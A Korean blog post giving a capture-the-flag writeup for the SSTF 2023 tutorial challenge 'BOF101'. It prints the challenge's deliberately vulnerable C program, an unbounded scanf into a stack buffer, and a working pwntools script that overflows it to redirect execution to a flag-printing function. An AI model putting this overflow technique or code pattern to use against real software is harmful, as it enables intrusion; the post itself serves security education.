이 영역을 누르면 첫 페이지로 이동
SH1R0_0의 기술블로그 블로그의 첫 페이지로 이동

SH1R0_0의 기술블로그

페이지 맨 위로 올라가기

SH1R0_0의 기술블로그

[pwn] Tutorial - BOF101

  • 2024.01.10 20:54
  • 🚩 CTF Writeup/SSTF 2023

 

 

1. 문제 설명

You might have heard about BOF.

It's the most common vulnerability in executable binaries.

 

Here is a vulnerable binary(Download).

The binary is running at: nc bof101.sstf.site 1337.

 

Can you smash it?

Just execute printflag() function and get the flag!

 

 

2. Writeup

바이너리와 코드가 제공되는 튜토리얼 문제이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

void printflag(){ 
	char buf[32];
	int fd = open("/flag", O_RDONLY);
	read(fd, buf, sizeof(buf));
	close(fd);
	puts(buf);
}

int main() {
	int check=0xdeadbeef;
	char name[140];
	printf("printflag()'s addr: %p\n", &printflag);
	printf("What is your name?\n: ");
	scanf("%s", name);	
	if (check != 0xdeadbeef){
		printf("[Warning!] BOF detected!\n");
		exit(0);
	}
	return 0;
}

 

 

1) 문제 분석

이 코드에서는 스택 버퍼오버플로우(BOF) 취약점이 존재한다.

 

name 변수에 할당된 버퍼의 크기는 140byte지만 scanf("%s", name); 를 통해서 사용자의 입력을 받을 때, 입력의 크기를 제한하지 않는다. 따라서 사용자는 140byte 이상의 데이터를 입력하여 ret 주소를 조작할 수 있다.

 

또한 FLAG를 휙득할 수 있는 printflag() 함수의 주소도 제공해준다.

 

 

2) 보호기법 확인

 

 

3) Exploit

ret 주소를 고정적인 printflag() 함수의 주소로 변경하면 플래그를 휙득할 수 있다.

 

다만, 카나리의 흉내를 내는 check 변수의 값이 0xdeadbeef가 아니면 오류 메시지를 출력하고 프로그램을 종료하므로 이 변수의 값은 그대로 유지하며 ret 주소를 변경해야 한다.

 

페이로드의 형식은 다음과 같다.

buffer[140] + check(0xdeadbeef) + sfp[8] + ret(0x00000000004011f6)

from pwn import *

r = remote("bof101.sstf.site", 1337)

payload = b"A"*140
payload += p32(0xdeadbeef)
payload += b"A"*8
payload += p64(0x4011f6)

r.sendline(payload)
r.interactive()

'🚩 CTF Writeup > SSTF 2023' 카테고리의 다른 글

[pwn] Tutorial - BOF103  (0) 2024.01.10
[pwn] Tutorial - BOF102  (0) 2024.01.10
[web] Tutorial - SQLi 103  (0) 2024.01.10
[web] Tutorial - SQLi 102  (0) 2024.01.10
[web] Tutorial - SQLi 101  (0) 2024.01.10

댓글

이 글 공유하기

  • 구독하기

    구독하기

  • 카카오톡

    카카오톡

  • 라인

    라인

  • 트위터

    트위터

  • Facebook

    Facebook

  • 카카오스토리

    카카오스토리

  • 밴드

    밴드

  • 네이버 블로그

    네이버 블로그

  • Pocket

    Pocket

  • Evernote

    Evernote

다른 글

  • [pwn] Tutorial - BOF103

    [pwn] Tutorial - BOF103

    2024.01.10
  • [pwn] Tutorial - BOF102

    [pwn] Tutorial - BOF102

    2024.01.10
  • [web] Tutorial - SQLi 103

    [web] Tutorial - SQLi 103

    2024.01.10
  • [web] Tutorial - SQLi 102

    [web] Tutorial - SQLi 102

    2024.01.10
다른 글 더 둘러보기

정보

SH1R0_0의 기술블로그 블로그의 첫 페이지로 이동

SH1R0_0의 기술블로그

  • SH1R0_0의 기술블로그의 첫 페이지로 이동

검색

메뉴

  • 홈
  • 태그
  • 방명록

카테고리

  • 분류 전체보기 (33)
    • 📖 Study (11)
      • Crypto (0)
      • WebHacking (3)
      • Reversing (0)
      • Pwnable (1)
      • Develop & CS (1)
      • Android (4)
      • Etc (2)
    • 🚩 CTF Writeup (14)
      • SSTF 2023 (8)
      • osu!gaming CTF 2024 (2)
      • WxMCTF '24 (4)
      • KalmarCTF 2024 (0)
    • 🎮 Dreamhack Writeup (8)
      • Web (7)
      • Pwnable (1)

최근 글

인기 글

댓글

공지사항

  • 공지 - 박민혁 (SH1R0_0)

아카이브

태그

나의 외부 링크

  • 관리자
  • 글쓰기
  • 공부

정보

SHIR0_0의 SH1R0_0의 기술블로그

SH1R0_0의 기술블로그

SHIR0_0

블로그 구독하기

  • 구독하기
  • RSS 피드

방문자

  • 전체 방문자
  • 오늘
  • 어제

티스토리

  • 티스토리 홈
  • 이 블로그 관리하기
  • 글쓰기
Powered by Tistory / Kakao. Copyright © SHIR0_0.

티스토리툴바